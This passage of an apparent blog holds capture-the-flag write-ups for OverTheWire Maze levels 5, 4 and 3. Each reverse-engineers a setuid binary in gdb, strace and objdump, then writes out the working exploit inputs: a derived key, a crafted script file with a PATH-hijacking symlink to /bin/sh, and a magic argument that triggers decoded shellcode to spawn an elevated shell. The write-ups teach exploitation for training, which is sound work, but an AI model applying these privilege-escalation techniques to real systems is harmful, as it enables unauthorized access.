-0x4(%ebp),%eax 0x080485b8 <+125>: add %edx,%eax 0x080485ba <+127>: movzbl (%eax),%edx 0x080485bd <+130>: mov -0x4(%ebp),%ecx 0x080485c0 <+133>: mov 0xc(%ebp),%eax 0x080485c3 <+136>: add %ecx,%eax 0x080485c5 <+138>: movzbl (%eax),%eax 0x080485c8 <+141>: cmp %al,%dl 0x080485ca <+143>: je 0x80485d3 <foo+152> 0x080485cc <+145>: mov $0x0,%eax 0x080485d1 <+150>: jmp 0x80485e5 <foo+170> 0x080485d3 <+152>: mov -0x4(%ebp),%eax 0x080485d6 <+155>: lea -0x1(%eax),%edx 0x080485d9 <+158>: mov %edx,-0x4(%ebp) 0x080485dc <+161>: test %eax,%eax 0x080485de <+163>: jne 0x80485b2 <foo+119> 0x080485e0 <+165>: mov $0x1,%eax 0x080485e5 <+170>: leave 0x080485e6 <+171>: ret
Quite long and complex with some jumps.
The interesting part is at line 0x080485c8.
It compares byte values in eax and edx.
If they are not equal, it puts 0 in eax and then exit.
Otherwise it jumps to another section, it loads data from memory location and jumps back to the beginning of foo().
It looks like it is checking something between the username and password byte-by-byte.
We can put a break at the line of the comparison and see what happens.
So now let's summarize the approach:
- choose a standard username: AAAAAAAA
- choose a standard password: BCDEFGHI
- open gdb
- put a break at the ptrace() call
- put a break at the comparison in foo()
- use jump to reach foo() and the break inside it
- verify register eax and edx that needs to be compared
maze5@maze:~$ gdb /maze/maze5 ... (gdb) break *0x08048674 Breakpoint 1 at 0x8048674: file maze5.c, line 48.
(gdb) break *0x080485c8
Breakpoint 2 at 0x80485c8: file maze5.c, line 32.
(gdb) r Starting program: /maze/maze5 X---------------- Username: AAAAAAAA Key: BCDEFGHI Breakpoint 1, 0x08048674 in main () at maze5.c:48 48 maze5.c: No such file or directory.
(gdb) jump *0x08048694 Continuing at 0x8048694. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAA", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c
(gdb) info reg eax edx eax 0x49 73 edx 0x5e 94 (gdb)
It seems that eax contains the last byte of the password (0x49 is hex for letter I)
Edx has another value, so comparison will fail.
Let's run again with a different username, let's say we change last byte of the username to AAAAAAAB
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /maze/maze5 X---------------- Username: AAAAAAAB Key: BCDEFGHI Breakpoint 1, 0x08048674 in main () at maze5.c:48 48 in maze5.c (gdb) jump *0x08048694 Continuing at 0x8048694. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAB", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x49 73 edx 0x5d 93
Interesting... the edx value is decreased by 1, while the 8th byte of username was change from A to B (se increased by 1)
Let's then adjust the last byte of username to V and retry
Explanation: A gives 0x5e, B gives 0x5d ... so V should give 0x49
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /maze/maze5 X---------------- Username: AAAAAAAV Key: BCDEFGHI Breakpoint 1, 0x08048674 in main () at maze5.c:48 48 in maze5.c (gdb) jump *0x08048694 Continuing at 0x8048694. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAV", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x49 73 edx 0x49 73
Yes... eax and edx are equal...
If we continue the execution we should reach the break again
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /maze/maze5 X---------------- Username: AAAAAAAV Key: BCDEFGHI Breakpoint 1, 0x08048674 in main () at maze5.c:48 48 in maze5.c (gdb) jump *0x08048694 Continuing at 0x8048694. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAV", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x49 73 edx 0x49 73 (gdb) c Continuing. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAAAV", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x48 72 edx 0x63 99
OK, we got past the first jump and then the code is now comparing the 7th byte of the password (H which is 0x48) with another value 0x63
Let's use the same approach: with some tries, we discover that changing 7th byte of the username to \ will give eax = edx = 0x48
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /maze/maze5 X---------------- Username: AAAAAA\V Key: BCDEFGHI Breakpoint 1, 0x08048674 in main () at maze5.c:48 48 in maze5.c (gdb) jump *0x08048694 Continuing at 0x8048694. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAA\\V", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x49 73 edx 0x49 73 (gdb) c Continuing. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAA\\V", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x48 72 edx 0x48 72 (gdb) c Continuing. Breakpoint 2, 0x080485c8 in foo (s=0xffffd6ef "AAAAAA\\V", a=0xffffd6e6 "BCDEFGHI") at maze5.c:32 32 in maze5.c (gdb) info reg eax edx eax 0x47 71 edx 0x62 98
We got past the second iteration and now we have to guess the 6th byte...
If we use the same approach for the 6th byte, etc.... we discover that a possibile combination of username and password are: onbdg\\V and BCDEFGHI
Note that with a different password, also username must be different: the base fact is that foo() function compares the password byte by byte with a shifted value of the correspondent byte of username.
Finally we can use the username and password to get our privileged shell
maze5@maze:~$ /maze/maze5 X---------------- Username: onbdg\\V Key: BCDEFGHI Yeh, here's your shell $ id uid=15005(maze5) gid=15005(maze5) euid=15006(maze6) groups=15005(maze5) $ cat /etc/maze_pass/maze5 cat: /etc/maze_pass/maze5: Permission denied $ cat /etc/maze_pass/maze6 e*******i
$
OverTheWire.org - Maze - Level 4 Writeup
As in the previous level, let's try to understand what the executable is doing by running it with different parameters and with strace or ltrace:
It seems that it needs one parameter at command line.
When it has, it tries to open it.
So let's create a temporary folder and create a file with some sample content.
Then try to use ltrace again:
The program opens the file passed as command line parameter and read 52 bytes of its contents.
Then executes an lseek() on the file: lseek is used to change position inside the file for the next read() or write() operation.
Then it read again from the file, but this time it reads 32 bytes.
So now let's look at the code that reads data from file, skipping the initial and final parts of the code
The first read (at line 0x0804868d) reads the first 52 bytes of the file and put them into memory at address [-0x38(%ebp)]
Then eax is pointed to the 29th byte of the buffer ([-0x1c(%ebp)] and is used as parameter for the lseek call on the same file
So lseek moves the position in the file to the position pointed to the bytes 29th-32nd of the file
If the bytes 29th-32nd of the file contains decimal 50, the lseek will position at 50th bytes of the file.
The following read() reads 32 bytes from the position determined by the lseek().
These 32 bytes are then stored at position [-0x58(%ebp)]
Let's build a file that contains:
Then run again the executable with strace:
This confirms that:
So in memory we will have two buffer:
We see some operations that use data taken from the buffers and a couple of comparisons.
If comparisons fail flow is transferred to <main+255> which write an output and exits.
If both comparison are OK, the flow goes to a puts() and an interesting execve().
We want to reach that execve()
Let's step the execution into lines 0x080486c8 and 0x080486cb;
After that, it compares eax with edx.
If they are not equal it exits from program.
So we want to create a file that has a specific content where 7th byte and 8th bytes multiplied are equal to 4 bytes in some other position of the file
As an example we'll put "0xfe" as 7th and 8th bytes (their multiplication give 0xfe04)
and 0x0000fe04 in the location where "MNOP" was.
We were able to get past the first comparison/jump.
Now comes the second comparison that compares 0x77 (decimal 119) to the value in memory at -0x84(%ebp)
Let's step in and see what there is in that memory location:
It contains 0x38 (59 decimal) and with some guessing, we discover that it's the length of the file:
If we get past this comparison we'll arrive to our execve()
Let's add some filling at the end of the file and retry:
And we triggered the execve() which executes the file itself!
Now putting all the pieces together, we need to build a file that:
The last 5 lines show that the execution works and performs some stat()
The execution of the script in the file "a" is trying to locate an executable with the name "AAAAAAAAAAAAAA" in the PATH.
So now let's create a link to the shell and add current directory to PATH:
maze4@maze:~$ /maze/maze4 usage: /maze/maze4 file2check maze4@maze:~$ /maze/maze4 a open: No such file or directory maze4@maze:~$ ltrace /maze/maze4 a __libc_start_main(0x80485fb, 2, 0xffffd7a4, 0x8048730 <unfinished ...> open("a", 0, 036777230420) = -1 perror("open"open: No such file or directory ) = <void> exit(-1 <no return ...> +++ exited (status 255) +++
It seems that it needs one parameter at command line.
When it has, it tries to open it.
So let's create a temporary folder and create a file with some sample content.
Then try to use ltrace again:
maze4@maze:~$ mkdir /tmp/maz4
maze4@maze:~$ cd /tmp/maz4
maze4@maze:/tmp/maz4$ echo AAAA > a
maze4@maze:/tmp/maz4$ ltrace /maze/maze4 a __libc_start_main(0x80485fb, 2, 0xffffd794, 0x8048730 <unfinished ...> open("a", 0, 036777230420) = 3 __xstat(3, "a", 0xffffd648) = 0 read(3, "AAAA\n", 52) = 5 lseek(3, 134514513, 0) = 134514513 read(3, "", 32) = 0 fwrite("file not executed\n", 1, 18, 0xf7fc5cc0file not executed ) = 18 close(3) = 0 +++ exited (status 0) +++
The program opens the file passed as command line parameter and read 52 bytes of its contents.
Then executes an lseek() on the file: lseek is used to change position inside the file for the next read() or write() operation.
Then it read again from the file, but this time it reads 32 bytes.
So now let's look at the code that reads data from file, skipping the initial and final parts of the code
0x08048684 <+137>: push $0x34 0x08048686 <+139>: lea -0x38(%ebp),%eax 0x08048689 <+142>: push %eax 0x0804868a <+143>: pushl -0x4(%ebp) 0x0804868d <+146>: call 0x8048430 <read@plt> 0x08048692 <+151>: add $0xc,%esp 0x08048695 <+154>: mov -0x1c(%ebp),%eax 0x08048698 <+157>: push $0x0 0x0804869a <+159>: push %eax 0x0804869b <+160>: pushl -0x4(%ebp) 0x0804869e <+163>: call 0x8048450 <lseek@plt> 0x080486a3 <+168>: add $0xc,%esp 0x080486a6 <+171>: push $0x20 0x080486a8 <+173>: lea -0x58(%ebp),%eax 0x080486ab <+176>: push %eax 0x080486ac <+177>: pushl -0x4(%ebp) 0x080486af <+180>: call 0x8048430 <read@plt> 0x080486b4 <+185>: add $0xc,%esp 0x080486b7 <+188>: mov -0x4c(%ebp),%eax 0x080486ba <+191>: movzbl -0x31(%ebp),%edx 0x080486be <+195>: movzbl %dl,%ecx 0x080486c1 <+198>: movzbl -0x30(%ebp),%edx 0x080486c5 <+202>: movzbl %dl,%edx 0x080486c8 <+205>: imul %ecx,%edx 0x080486cb <+208>: cmp %edx,%eax 0x080486cd <+210>: jne 0x80486fa <main+255> 0x080486cf <+212>: mov -0x84(%ebp),%eax 0x080486d5 <+218>: cmp $0x77,%eax 0x080486d8 <+221>: jg 0x80486fa <main+255> 0x080486da <+223>: push $0x8048800
The first read (at line 0x0804868d) reads the first 52 bytes of the file and put them into memory at address [-0x38(%ebp)]
Then eax is pointed to the 29th byte of the buffer ([-0x1c(%ebp)] and is used as parameter for the lseek call on the same file
So lseek moves the position in the file to the position pointed to the bytes 29th-32nd of the file
If the bytes 29th-32nd of the file contains decimal 50, the lseek will position at 50th bytes of the file.
The following read() reads 32 bytes from the position determined by the lseek().
These 32 bytes are then stored at position [-0x58(%ebp)]
Let's build a file that contains:
- 28 filling bytes (unused so far) "AAAABBBBCCCC..."
- 4 bytes filled with value decimal 32 (they will determine an lseek to the 33rd byte of the file) "\x20\x00\x00\x00"
- some filling charachters from byte 33rd "ABCDEF...."
maze4@maze:/tmp/maz4$ python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKLMNOPQRSTUVXYWZ"' > a
Then run again the executable with strace:
maze4@maze:/tmp/maz4$ strace /maze/maze4 a ... read(3, "AAAABBBBCCCCDDDDEEEEFFFFGGGG \0\0\0"..., 52) = 52 lseek(3, 32, SEEK_SET) = 32 read(3, "ABCDEFGHIJKLMNOQRSTUVXYWZ\n", 32) = 26 write(2, "file not executed\n", 18file not executed
This confirms that:
- read first part of the file and stores them in -0x38(%ebp)
- position to byte 33rd
- read from 33rd to 64th and stores them in -0x58(%ebp)
So in memory we will have two buffer:
- -0x58(%ebp) will contain 32 bytes : ABCDEFGH....
- -0x38(%ebp) will contain 52 bytes: AAAABBBBCCCCDDDD....
Now let's focus on the code after the read() functions
...
0x080486b4 <+185>: add $0xc,%esp 0x080486b7 <+188>: mov -0x4c(%ebp),%eax 0x080486ba <+191>: movzbl -0x31(%ebp),%edx 0x080486be <+195>: movzbl %dl,%ecx 0x080486c1 <+198>: movzbl -0x30(%ebp),%edx 0x080486c5 <+202>: movzbl %dl,%edx 0x080486c8 <+205>: imul %ecx,%edx 0x080486cb <+208>: cmp %edx,%eax 0x080486cd <+210>: jne 0x80486fa <main+255> 0x080486cf <+212>: mov -0x84(%ebp),%eax 0x080486d5 <+218>: cmp $0x77,%eax 0x080486d8 <+221>: jg 0x80486fa <main+255> 0x080486da <+223>: push $0x8048800 0x080486df <+228>: call 0x8048490 <puts@plt> 0x080486e4 <+233>: add $0x4,%esp 0x080486e7 <+236>: mov 0xc(%ebp),%eax 0x080486ea <+239>: add $0x4,%eax 0x080486ed <+242>: mov (%eax),%eax 0x080486ef <+244>: push $0x0 0x080486f1 <+246>: push %eax 0x080486f2 <+247>: call 0x80484d0 <execv@plt>
...
We see some operations that use data taken from the buffers and a couple of comparisons.
If comparisons fail flow is transferred to <main+255> which write an output and exits.
If both comparison are OK, the flow goes to a puts() and an interesting execve().
We want to reach that execve()
Let's step the execution into lines 0x080486c8 and 0x080486cb;
(gdb) set args a (gdb) break *0x080486c8 Breakpoint 1 at 0x80486be: file maze4.c, line 54. (gdb) r Starting program: /maze/maze4 a Breakpoint 1, 0x080486c8 in main (argc=2, argv=0xffffd774) at maze4.c:54 54 maze4.c: No such file or directory. (gdb) info reg eax 0x504f4e4d 1347374669 ecx 0x42 66 edx 0x43 67 The next istruction multiplies ecx and edx (gdb) info reg eax 0x504f4e4d 1347374669 ecx 0x42 66 edx 0x1146 4422
- ecx and edx contain 0x42 and 0x43 (B and C, which are the 7th and 8th byte of the file)
- eax contains 0x504f4e4e ("MNOP" little endian): the content of the file stored in position -0x4c(%ebp)
After that, it compares eax with edx.
If they are not equal it exits from program.
So we want to create a file that has a specific content where 7th byte and 8th bytes multiplied are equal to 4 bytes in some other position of the file
As an example we'll put "0xfe" as 7th and 8th bytes (their multiplication give 0xfe04)
and 0x0000fe04 in the location where "MNOP" was.
maze4@maze:/tmp/maz4$ python -c 'print "AAAABBB\xfe\xfeCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKL\x04\xfc\x00\x00QRSTUVXYWZ"' > a maze4@maze:/tmp/maz4$ gdb /maze/maze4 (gdb) set args a (gdb) break *(gdb) r (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /maze/maze4 a Breakpoint 1, 0x080486be in main (argc=2, argv=0xffffd774) at maze4.c:54 54 in maze4.c (gdb) stepi 0x080486c1 54 in maze4.c (gdb) stepi 0x080486c5 54 in maze4.c (gdb) stepi 0x080486c8 54 in maze4.c (gdb) stepi 0x080486cb 54 in maze4.c (gdb) stepi 0x080486cd 54 in maze4.c (gdb) stepi 55 in maze4.c(gdb) disas main...=> 0x080486cf <+212>: mov -0x84(%ebp),%eax 0x080486d5 <+218>: cmp $0x77,%eax 0x080486d8 <+221>: jg 0x80486fa <main+255> 0x080486da <+223>: push $0x8048800 0x080486df <+228>: call 0x8048490 <puts@plt> 0x080486e4 <+233>: add $0x4,%esp 0x080486e7 <+236>: mov 0xc(%ebp),%eax 0x080486ea <+239>: add $0x4,%eax 0x080486ed <+242>: mov (%eax),%eax 0x080486ef <+244>: push $0x0 0x080486f1 <+246>: push %eax
We were able to get past the first comparison/jump.
Now comes the second comparison that compares 0x77 (decimal 119) to the value in memory at -0x84(%ebp)
Let's step in and see what there is in that memory location:
(gdb) info reg ebp ebp 0xffffd6d8 0xffffd6d8 (gdb) x/wx 0xffffd654 0xffffd654: 0x0000003b
It contains 0x38 (59 decimal) and with some guessing, we discover that it's the length of the file:
maze4@maze:/tmp/maz4$ ls -la a
-rw-r--r-- 1 maze4 root 59 Jun 20 06:40 a
If we get past this comparison we'll arrive to our execve()
Let's add some filling at the end of the file and retry:
maze4@maze:/tmp/maz4$ python -c 'print "AAAABBB\xfe\xfeCCCDDDDEEEEFFFFGGGG\x20\x00\x00\x00ABCDEFGHIJKL\x04\xfc\x00\x00QRSTUVXYWZ" + "B"*60' > a maze4@maze:/tmp/maz4$ strace /maze/maze4 a ... write(1, "valid file, executing\n", 22valid file, executing ) = 22 execve("a", NULL, [/* 18 vars */]) = -1 EACCES (Permission denied) ...
And we triggered the execve() which executes the file itself!
Now putting all the pieces together, we need to build a file that:
- is 119 bytes long
- can be executed (i.e. a script)
- must respect some of the requirements above (7th byte multiplied by 8th bytes....etc..
The 7th byte is an s (0x73) and 8th byte is an h (0x68): their multiplication gives 0x2eb8.
We also need carriage returns for the script
So let's build the file as:
We also need carriage returns for the script
So let's build the file as:
- #!/bin/sh (7 bytes)
- Carriage return (1 byte)
- Command (17 bytes)
- Carriage return (1 byte)
- Lseek 0x0000020 (4 bytes)
- Filling bytes (12 bytes)
- result of multiplication (4 bytes)
- Filling bytes to reach lenght of 119 (70 bytes)
maze4@maze:/tmp/maz4$ python -c 'print "#!/bin/sh" + "\x0a"+ "AAAAAAAAAAAAAAAAA" +"\x0a"+ "\x20\x00\x00\x00" + "B"*12 + "\xb8\x2e\x00\x00" +"B"*70' > a maze4@maze:/tmp/maz4$ strace /maze/maze4 a .... open("a", O_RDONLY) = 4 fcntl(4, F_DUPFD, 10) = 10 close(4) = 0 fcntl(10, F_SETFD, FD_CLOEXEC) = 0 rt_sigaction(SIGINT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 rt_sigaction(SIGINT, {sa_handler=0x555555564ef0, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0 rt_sigaction(SIGQUIT, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0 rt_sigaction(SIGTERM, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0 rt_sigaction(SIGTERM, {sa_handler=SIG_DFL, sa_mask=~[RTMIN RT_1], sa_flags=SA_RESTORER, sa_restorer=0x7ffff7a6d060}, NULL, 8) = 0 read(10, "#!/bin/sh\nAAAAAAAAAAAAAAAAA\n \0\0\0"..., 8192) = 119 stat("/usr/local/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory) stat("/usr/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory) stat("/bin/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory) stat("/usr/local/games/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory) stat("/usr/games/AAAAAAAAAAAAAAAAA", 0x7fffffffe290) = -1 ENOENT (No such file or directory)
The last 5 lines show that the execution works and performs some stat()
The execution of the script in the file "a" is trying to locate an executable with the name "AAAAAAAAAAAAAA" in the PATH.
So now let's create a link to the shell and add current directory to PATH:
maze4@maze:/tmp/maz4$ PATH=.:$PATH maze4@maze:/tmp/maz4$ ln -s /bin/sh AAAAAAAAAAAAAAAAA maze4@maze:/tmp/maz4$ /maze/maze4 a valid file, executing $ id uid=15004(maze4) gid=15004(maze4) euid=15005(maze5) groups=15004(maze4) $ cat /etc/maze_pass/maze5 i********o
$
OverTheWire.org - Maze - Level 3 Writeup
We begin by running the maze3 executable in different ways:
We see that the presence of a parameter is essential and when it's present, the program executes an mprotect() call
Let's disassemble the maze3 with objdump:
There are four parts:
Please note that the code of the functions are all subsequents: if no jump changes execution flow, the function l1() is executed just after fine(), and d1() is executed just after l1().
Let's look into fine() procedure
Why 176 steps? Because every loop execution of l1() takes 4 steps that multiplied by the length of d1() code (44 bytes) makes 176 steps in total.
And we see that d1() code is totally different and it seems a shellcode.
The lines 0x080480d7 push "/bin//sh" and the line 0x080480eb calls an execve()
Now let's dive into the new d1() code: The third line compares a static value of 0x1337c0de to the value at a memory address contained in (%eax)
If they are different jumps to the end of d1() and execute an exit(1)
if not, it executes the interesting part of the shellcode (i.e. the execve())
Let's advance one step in execution and reach the cmpl instruction
We show content of memory at %eax and it contains a 0x41 (ASCII "A").
This seems to be our command line parameter
Retry with "AAAA" parameter:
The code compares our parameter with 0x1337c0de
So far it seems that:
Very fun challenge!
It took a while even if it didn't require strange shellcodes or buffer overwrites..
- with no command line parameters
- with a command line parameter
- with strace and a command line parameter
maze3@maze:~$ /maze/maze3 ./level4 ev0lcmds! maze3@maze:~$ maze3@maze:~$ /maze/maze3 A maze3@maze:~$ maze3@maze:~$ strace /maze/maze3 A execve("/maze/maze3", ["/maze/maze3", "A"], [/* 17 vars */]) = 0 strace: [ Process PID=4859 runs in 32 bit mode. ] mprotect(0x8048000, 151, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 exit(1) = ?
Let's disassemble the maze3 with objdump:
maze3@maze:~$ objdump -d /maze/maze3 /maze/maze3: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 58 pop %eax 8048061: 48 dec %eax 8048062: 75 32 jne 8048096 <fine> 8048064: e8 14 00 00 00 call 804807d <_start+0x1d> 8048069: 2e 2f cs das 804806b: 6c insb (%dx),%es:(%edi) 804806c: 65 76 65 gs jbe 80480d4 <d1+0x9> 804806f: 6c insb (%dx),%es:(%edi) 8048070: 34 20 xor $0x20,%al 8048072: 65 76 30 gs jbe 80480a5 <fine+0xf> 8048075: 6c insb (%dx),%es:(%edi) 8048076: 63 6d 64 arpl %bp,0x64(%ebp) 8048079: 73 21 jae 804809c <fine+0x6> 804807b: 0a 00 or (%eax),%al 804807d: b8 04 00 00 00 mov $0x4,%eax 8048082: bb 01 00 00 00 mov $0x1,%ebx 8048087: 59 pop %ecx 8048088: ba 14 00 00 00 mov $0x14,%edx 804808d: cd 80 int $0x80 804808f: b8 01 00 00 00 mov $0x1,%eax 8048094: cd 80 int $0x80 08048096 <fine>: 8048096: 58 pop %eax 8048097: b8 7d 00 00 00 mov $0x7d,%eax 804809c: bb 60 80 04 08 mov $0x8048060,%ebx 80480a1: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 80480a7: b9 97 00 00 00 mov $0x97,%ecx 80480ac: ba 07 00 00 00 mov $0x7,%edx 80480b1: cd 80 int $0x80 80480b3: 8d 35 cb 80 04 08 lea 0x80480cb,%esi 80480b9: 89 f7 mov %esi,%edi 80480bb: b9 2c 00 00 00 mov $0x2c,%ecx 80480c0: ba 78 56 34 12 mov $0x12345678,%edx 080480c5 <l1>: 80480c5: ad lods %ds:(%esi),%eax 80480c6: 31 d0 xor %edx,%eax 80480c8: ab stos %eax,%es:(%edi) 80480c9: e2 fa loop 80480c5 <l1> 080480cb <d1>: 80480cb: 20 d7 and %dl,%bh 80480cd: 0c cc or $0xcc,%al 80480cf: b8 61 27 67 61 mov $0x61672761,%eax 80480d4: 67 f4 addr16 hlt 80480d6: 42 inc %edx 80480d7: 10 79 1b adc %bh,0x1b(%ecx) 80480da: 61 popa 80480db: 10 3e adc %bh,(%esi) 80480dd: 1b 70 11 sbb 0x11(%eax),%esi 80480e0: 38 bd f1 28 05 bd cmp %bh,-0x42fad70f(%ebp) 80480e6: f3 49 repz dec %ecx 80480e8: 84 84 19 b5 d6 8c 13 test %al,0x138cd6b5(%ecx,%ebx,1) 80480ef: 78 56 js 8048147 <d1+0x7c> 80480f1: 34 23 xor $0x23,%al 80480f3: a3 .byte 0xa3 80480f4: 15 .byte 0x15 80480f5: f9 stc 80480f6: 92 xchg %eax,%edx
There are four parts:
- Main code (start)
- function fine()
- function l1()
- function d1()
Please note that the code of the functions are all subsequents: if no jump changes execution flow, the function l1() is executed just after fine(), and d1() is executed just after l1().
Let's look into fine() procedure
- calls mprotect(0x8048000, 151, PROT_READ|PROT_WRITE|PROT_EXEC): this means that 151 bytes starting from 0x8048000 can be read, written and executed. A godd area we can use to store some arbitrary code to be executed
- after that it stores in %edi and %esi the address of function d1 ()
- it stores 0x2c (decimal 44) in ecx
- it stores 0x12345678 (decimal 305419896) into edx
After that l1() is executed because it is just the following code.
But what does l1() do?
Well, it's a loop based on lods xor and stos instructions.
For each loop execution:
- stores into eax the content of memory at esi
- xor eax with edx (containing a fixed value 0x12345678) and stores the result in eax
- copy the value in eax into memory address edi
- (automatically) lods and stos automatically increase esi and edi
- (automatically) loop decrease ecx
The result is that the string at esi (i.e. d1() code location) is replaced by other code using an xor decoding function that rewrites 44 bytes.
This also means that l1() replaces code of d1() at runtime.
Let's verify this by placing a break at the last line of fine() and execute 176 steps.
Why 176 steps? Because every loop execution of l1() takes 4 steps that multiplied by the length of d1() code (44 bytes) makes 176 steps in total.
(gdb) disas 0x080480cb Dump of assembler code for function d1: => 0x080480cb <+0>: pop %eax 0x080480cc <+1>: cmpl $0x1337c0de,(%eax) 0x080480d2 <+7>: jne 0x80480ed <d1+34> 0x080480d4 <+9>: xor %eax,%eax 0x080480d6 <+11>: push %eax 0x080480d7 <+12>: push $0x68732f2f 0x080480dc <+17>: push $0x6e69622f 0x080480e1 <+22>: mov %esp,%ebx 0x080480e3 <+24>: push %eax 0x080480e4 <+25>: push %ebx 0x080480e5 <+26>: mov %esp,%ecx 0x080480e7 <+28>: xor %edx,%edx 0x080480e9 <+30>: mov $0xb,%al 0x080480eb <+32>: int $0x80 0x080480ed <+34>: mov $0x1,%eax 0x080480f2 <+39>: xor %ebx,%ebx 0x080480f4 <+41>: inc %ebx 0x080480f5 <+42>: int $0x80 End of assembler dump.
And we see that d1() code is totally different and it seems a shellcode.
The lines 0x080480d7 push "/bin//sh" and the line 0x080480eb calls an execve()
Now let's dive into the new d1() code: The third line compares a static value of 0x1337c0de to the value at a memory address contained in (%eax)
If they are different jumps to the end of d1() and execute an exit(1)
if not, it executes the interesting part of the shellcode (i.e. the execve())
Let's advance one step in execution and reach the cmpl instruction
(gdb) stepi 0x080480cc in d1 () (gdb) info reg eax 0xffffd8c0 -10048 ecx 0x0 0 edx 0x12345678 305419896 ebx 0x8048000 134512640 esp 0xffffd79c 0xffffd79c ebp 0x0 0x0 esi 0x804817b 134513019 edi 0x804817b 134513019 eip 0x80480cc 0x80480cc <d1+1> eflags 0x206 [ PF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/wx 0xffffd8c0 0xffffd8c0: 0x434c0041
We show content of memory at %eax and it contains a 0x41 (ASCII "A").
This seems to be our command line parameter
Retry with "AAAA" parameter:
(gdb) set args AAAA
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /maze/maze3 AAAA
Breakpoint 1, 0x080480c0 in fine ()
(gdb) stepi 177
0x080480cb in d1 ()
(gdb) stepi
0x080480cc in d1 ()
(gdb) info reg
eax 0xffffd8bd -10051
ecx 0x0 0
edx 0x12345678 305419896
ebx 0x8048000 134512640
esp 0xffffd79c 0xffffd79c
ebp 0x0 0x0
esi 0x804817b 134513019
edi 0x804817b 134513019
eip 0x80480cc 0x80480cc <d1+1>
eflags 0x206 [ PF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/wx 0xffffd8bd
0xffffd8bd: 0x41414141
The code compares our parameter with 0x1337c0de
So far it seems that:
- the main function call mprotect to make part of the code section writable and executable
- a decoding function is called to turn part of the code to a shellcode
- the shellcode checks if the argv[1] is equal to a fixed value and execute the remaining part of the shellcode if the argv[1] satisfies the condition
So now we only have to use a specific value for the command line parameter to match 0x1337c0de.
Recalling that Intel is little endian:
maze3@maze:~$ /maze/maze3 $(python -c 'print "\xde\xc0\x37\x13"') $ id uid=15003(maze3) gid=15003(maze3) euid=15004(maze4) groups=15003(maze3) $ cat /etc/maze_pass/maze4 d*******k
$
Very fun challenge!
It took a while even if it didn't require strange shellcodes or buffer overwrites..
Subscribe to:
Posts (Atom)